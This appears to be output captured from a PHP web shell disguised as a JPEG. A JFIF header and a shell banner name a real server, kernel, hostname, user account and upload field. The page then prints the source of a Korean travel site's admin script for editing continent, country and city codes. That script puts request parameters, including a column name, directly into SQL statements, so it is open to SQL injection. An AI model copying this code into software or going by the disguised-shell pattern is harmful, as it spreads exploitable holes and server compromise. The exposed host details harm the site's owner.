ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/setting/ |
Upload File : |
<? include "../include/top_proc.html"; //공통파일 인클루드 include "_common.php"; // 대륙코드 삭제flag 지정 if($SqlType == "areaa_delfalg"){ if(!$Aidx) exit; $sql = "update TB_AreaA set Delflag='{$DelFlag}' where Aidx='{$Aidx}'"; db_query($sql); $row = to_area_a($Aidx); $arr = $row[0]; echo "<script>\$('#ajax_city').html('');jquery_updater('ajax_country','areab_ajax.html?Aidx={$arr[Aidx]}');</script>"; echo "<img src=\"{$arr[DelFlag_icon]}\" onClick=\"ajax_obj_loader('area_setting_proc.html?SqlType=areaa_delfalg&Aidx={$arr[Aidx]}&DelFlag={$arr[DelFlag_opp]}','flag_a_{$arr['Aidx']}');\" style=\"cursor:pointer;\" />"; exit; // 대륙코드 순서 변경 }elseif($SqlType == "ordernum_a"){ for($i=0 ; $i <count($Aidx_arr) ; $i++){ $sql = "update TB_AreaA set OrderNum='{$OrderNum_arr[$i]}' where Aidx='{$Aidx_arr[$i]}' "; db_query($sql); } error_msg("jquery_updater('ajax_continent','areaa_ajax.html');","script"); // 대륙코드 저장 }elseif($SqlType == "areaa_ins"){ if (!$Aidx) exit; $sql = "select count(*) as cnt from TB_AreaA where Aidx='{$Aidx}' "; $row = db_fetch($sql); if ( $row['cnt'] != 0 ) error_msg("중복코드가 존재합니다.","end"); $sql = "insert into TB_AreaA set Aidx='$Aidx', ContinentName='{$ContinentName}', Conlang='{$lang}' "; db_query($sql); error_msg("jquery_updater('ajax_continent','areaa_ajax.html');","script"); // 대륙코드 수정 }elseif($SqlType == "areaa_edit"){ if (!$Aidx) exit; $sql = "update TB_AreaA set ContinentName='{$ContinentName}', ConLang='{$lang}' where Aidx='{$Aidx}' "; db_query($sql); error_msg("parent.to_dialog.close('{$tmp_layer_id}');jquery_updater('ajax_continent','areaa_ajax.html');","script"); // 대륙코드 삭제 }elseif($SqlType == "areaa_delete"){ if (!$Aidx) exit; $sql = "Delete from TB_AreaA where Aidx='{$Aidx}' "; db_query($sql); error_msg("jquery_updater('ajax_continent','areaa_ajax.html');","script"); // 국가코드 순서 변경 }elseif($SqlType == "ordernum_b"){ if (!$Aidx) exit; for($i=0 ; $i <count($Bidx_arr) ; $i++){ $sql = "update TB_AreaB set OrderNum = '{$OrderNum_arr[$i]}' where Bidx='{$Bidx_arr[$i]}' and Aidx='{$Aidx}' "; db_query($sql); } error_msg("jquery_updater('ajax_country','areab_ajax.html?Aidx={$Aidx}');","script"); // 국가코드 상품별 사용 수정 }elseif($SqlType=="areab_flag"){ if (!$Aidx or !$Bidx) exit; $sql = "update TB_AreaB set {$flag_nm}='{$flag}' where Aidx='{$Aidx}' and Bidx='{$Bidx}' "; db_query($sql); exit; // 국가코드 수정 }elseif($SqlType == "areab_edit") { if (!$Aidx or !$Bidx) exit; $sql = "update TB_AreaB set NationName='{$NationName}' where Aidx='{$Aidx}' and Bidx='{$Bidx}' "; db_query($sql); error_msg("parent.to_dialog.close('{$tmp_layer_id}');jquery_updater('ajax_country','areab_ajax.html?Aidx={$Aidx}');","script"); // 국가코드 삭제 }elseif($SqlType == "areab_delete") { if (!$Aidx or !$Bidx) exit; $sql = "delete from TB_AreaB where Aidx='{$Aidx}' and Bidx='{$Bidx}' "; db_query($sql); error_msg("jquery_updater('ajax_country','areab_ajax.html?Aidx={$Aidx}');","script"); // 국가코드 저장 }elseif($SqlType == "areab_ins"){ if (!$NationName) exit; $sql = "select count(*) as cnt from TB_AreaB where Bidx='{$Bidx}' "; $row = db_fetch($sql); if ($row['cnt'] != 0 ) error_msg("중복코드가 존재합니다.","end"); $sql = "insert into TB_AreaB set Bidx='{$Bidx}',Aidx='{$Aidx}', NationName='{$NationName}' "; db_query($sql); error_msg("jquery_updater('ajax_country','areab_ajax.html?Aidx={$Aidx}');","script"); // 도시코드 순서 변경 }elseif($SqlType == "ordernum_c"){ if (!$Aidx or !$Bidx) exit; for($i=0 ; $i <count($Cidx_arr) ; $i++){ $sql = "update TB_AreaC set OrderNum = '{$OrderNum_arr[$i]}' where Aidx='{$Aidx}' and Bidx='{$Bidx}' and Cidx='{$Cidx_arr[$i]}' "; db_query($sql); } error_msg("jquery_updater('ajax_city','areac_ajax.html?Aidx={$Aidx}&Bidx={$Bidx}');","script"); // 도시코드 상품별 사용 수정 }elseif($SqlType=="areac_flag"){ if (!$Aidx or !$Bidx or !$Cidx) exit; $sql = "update TB_AreaC set {$flag_nm}='{$flag}' where Aidx='{$Aidx}' and Bidx='{$Bidx}' and Cidx='{$Cidx}' "; db_query($sql); exit; // 도시코드 저장 }elseif($SqlType == "areac_ins") { if (!$Aidx or !$Bidx or !$Cidx) exit; $sql = "select count(*) as cnt from TB_AreaC where Cidx='{$Cidx}' "; $row = db_fetch($sql); if ( $row['cnt'] != 0 ) error_msg("중복코드가 존재합니다.","end"); $sql = "insert into TB_AreaC set CityName='{$CityName}', Aidx='{$Aidx}', Bidx='{$Bidx}' , Cidx='{$Cidx}' "; db_query($sql); error_msg("parent.to_dialog.close('{$tmp_layer_id}');jquery_updater('ajax_city','areac_ajax.html?Aidx={$Aidx}&Bidx={$Bidx}');","script"); // 도시코드 수정 }elseif($SqlType == "areac_edit") { if (!$Aidx or !$Bidx or !$Cidx) exit; $sql = "update TB_AreaC set CityName='{$CityName}' where Aidx='{$Aidx}' and Bidx='{$Bidx}' and Cidx='{$Cidx}' "; db_query($sql); error_msg("parent.to_dialog.close('{$tmp_layer_id}');jquery_updater('ajax_city','areac_ajax.html?Aidx={$Aidx}&Bidx={$Bidx}');","script"); // 도시코드 삭제 }elseif($SqlType == "areac_delete") { if (!$Aidx or !$Bidx or !$Cidx) exit; $sql = "delete from TB_AreaC where Aidx='{$Aidx}' and Bidx='{$Bidx}' and Cidx='{$Cidx}' "; db_query($sql); error_msg("jquery_updater('ajax_city','areac_ajax.html?Aidx={$Aidx}&Bidx={$Bidx}');","script"); } ?>